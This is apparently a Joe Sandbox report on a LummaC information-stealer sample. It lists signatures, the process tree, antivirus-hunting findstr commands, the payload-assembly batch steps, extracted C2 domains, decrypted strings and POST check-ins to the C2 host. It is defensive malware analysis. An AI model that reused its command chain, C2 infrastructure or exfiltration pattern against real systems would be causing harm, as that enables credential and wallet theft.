Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521589
MD5:	58746394954f378471b0b1f02039464e
SHA1:	fd91e03526997b6aaa093d7d486207088ca2b3f5
SHA256:	fe4f289171283f597e3bf13a4cc5d2eff0f8606b4afa4db31e2c2ec63842590f
Tags:	exeuser-jstrosch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Uses nslookup.exe to query domains

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

file.exe (PID: 5220 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 58746394954F378471B0B1F02039464E)

cmd.exe (PID: 5816 cmdline: "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7144 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6504 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 4608 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6748 cmdline: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5332 cmdline: cmd /c md 383775 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 3804 cmdline: findstr /V "ManufacturedBuyingTouchSecond" Jacket MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5996 cmdline: cmd /c copy /b ..\Interface + ..\Populations + ..\Gathering + ..\Did + ..\Depression + ..\Depending + ..\Proposals C MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Fridge.pif (PID: 3580 cmdline: Fridge.pif C MD5: 18CE19B57F43CE0A5AF149C96AECC685)

nslookup.exe (PID: 6200 cmdline: C:\Windows\SysWOW64\nslookup.exe MD5: 9D2EB13476B126CB61B12CDD03C7DCA6)

WerFault.exe (PID: 3356 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3636 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1620 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6768 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608 MD5: C31336C1EFC2CCB44B4326EA793040F2)

choice.exe (PID: 5060 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["stogeneratmns.shop", "vozmeatillu.shop", "drawzhotdog.shop", "gutterydhowi.shop", "ghostreedmnu.shop", "offensivedzvju.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "k99eRC--Lily1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Fridge.pif C, CommandLine: Fridge.pif C, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5816, ParentProcessName: cmd.exe, ProcessCommandLine: Fridge.pif C, ProcessId: 3580, ProcessName: Fridge.pif

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5816, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 6748, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:54:26.147163+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49713	172.67.132.32	443	TCP
2024-09-29T00:54:27.130354+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49714	172.67.132.32	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:54:26.147163+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49713	172.67.132.32	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:54:27.130354+0200	2049812	1	A Network Trojan was detected	192.168.2.8	49714	172.67.132.32	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:54:26.004598+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.8	49713	172.67.132.32	443	TCP
2024-09-29T00:54:26.678782+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.8	49714	172.67.132.32	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T00:54:25.510130+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.8	61832	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 16.2.nslookup.exe.2c60000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["stogeneratmns.shop", "vozmeatillu.shop", "drawzhotdog.shop", "gutterydhowi.shop", "ghostreedmnu.shop", "offensivedzvju.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "k99eRC--Lily1"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: reinforcenh.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: stogeneratmns.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: fragnantbui.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: drawzhotdog.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: vozmeatillu.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: offensivedzvju.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: gutterydhowi.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: gutterydhowi.shop
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp	String decryptor: k99eRC--Lily1

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.8:49714 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\383775\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\383775	Jump to behavior

Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	16_2_02CA0118
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_02C709FD
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	16_2_02C6F940
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02C6F940
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2EE0190Fh	16_2_02CA6C3F
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 68677325h	16_2_02CA6C3F
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02CA6C3F
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02C6ED69
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02CA92C0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp ecx	16_2_02C6F242
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	16_2_02C6F242
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esi+000004F0h]	16_2_02C93240
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_02C93240
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_02C93240
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov byte ptr [edi], al	16_2_02C93240
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+000001B8h]	16_2_02C7325D
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_02C82260
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov ebx, eax	16_2_02C6A3F0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov ebp, eax	16_2_02C6A3F0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov edi, ebx	16_2_02C90399
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	16_2_02CA8390
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02C85320
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	16_2_02C7B330
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esi+7Ch]	16_2_02C94060
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov byte ptr [ecx], al	16_2_02C94060
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov ecx, ebp	16_2_02C82063
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	16_2_02C67070
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	16_2_02C8A1F0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02C7518E
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	16_2_02CA8190
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+44h]	16_2_02CA716D
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+44h]	16_2_02CA711B
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esi+7Ch]	16_2_02C94136
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov byte ptr [ecx], al	16_2_02C94136
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movsx esi, byte ptr [ebp+00h]	16_2_02CA76CB
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02C896C0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02CA46C0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_02C8268A
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02CA9690
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	16_2_02C876A0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_02C82673
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	16_2_02CAA610
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then lea eax, dword ptr [ebp+04h]	16_2_02CA07E0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02CA9780
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	16_2_02CAA7A0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	16_2_02C68750
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, edi	16_2_02C8F700
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then shrd esi, edx, 00000001h	16_2_02C63710
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 77DD2217h	16_2_02C80729
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	16_2_02C91720
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	16_2_02CA4480
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_02C954A6
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02CA9410
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	16_2_02CA5580
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	16_2_02CA0580
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02CA9580
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [esi], ax	16_2_02C7F552
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000110h]	16_2_02C7F552
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	16_2_02C6DA90
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, edi	16_2_02C8FAA0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02CA9A40
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	16_2_02C9BBB0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	16_2_02C64B60
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	16_2_02CA4B60
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp ecx	16_2_02C73B7C
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+18h]	16_2_02C8DB00
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov ecx, dword ptr [edi+eax]	16_2_02C8DB00
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp di, 005Ch	16_2_02C7FB39
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+68h]	16_2_02C7FB39
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov dword ptr [esp+24h], DEC6D8DEh	16_2_02C90810
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 3BABA5E0h	16_2_02CA4960
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_02C87900
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	16_2_02CAA920
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then jmp eax	16_2_02C8CEC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov esi, eax	16_2_02C91ED0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx edi, word ptr [esi]	16_2_02C89EE0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then lea edx, dword ptr [eax+edi]	16_2_02C6FEA0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_02C6FEA0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02C6DE20
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 625B6034h	16_2_02C8AFD0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	16_2_02C88FF0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_02C88FF0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+000005A8h]	16_2_02C80F8A
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	16_2_02C81DC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_02C81DC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	16_2_02C82C90
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	16_2_02CA8C40
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	16_2_02C65C20
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	16_2_02C81DC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_02C81DC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then mov eax, dword ptr [esp]	16_2_02C74D8D
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	16_2_02CA1D40
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	16_2_02C7DD55

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.8:49713 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.8:61832 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.8:49714 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49714 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49713 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49713 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 172.67.132.32:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop

Uses nslookup.exe to query domains

Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process created: C:\Windows\SysWOW64\nslookup.exe C:\Windows\SysWOW64\nslookup.exe
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process created: C:\Windows\SysWOW64\nslookup.exe C:\Windows\SysWOW64\nslookup.exe			Jump to behavior

Source: Joe Sandbox View

IP Address: 172.67.132.32 172.67.132.32

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=UQpk1DxR1TmRPOKBsX.CR0IgSiGeqBvH1GQbvz5GmEc-1727564066-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: gutterydhowi.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: nrbDrRupdENT.nrbDrRupdENT
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop

Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: file.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
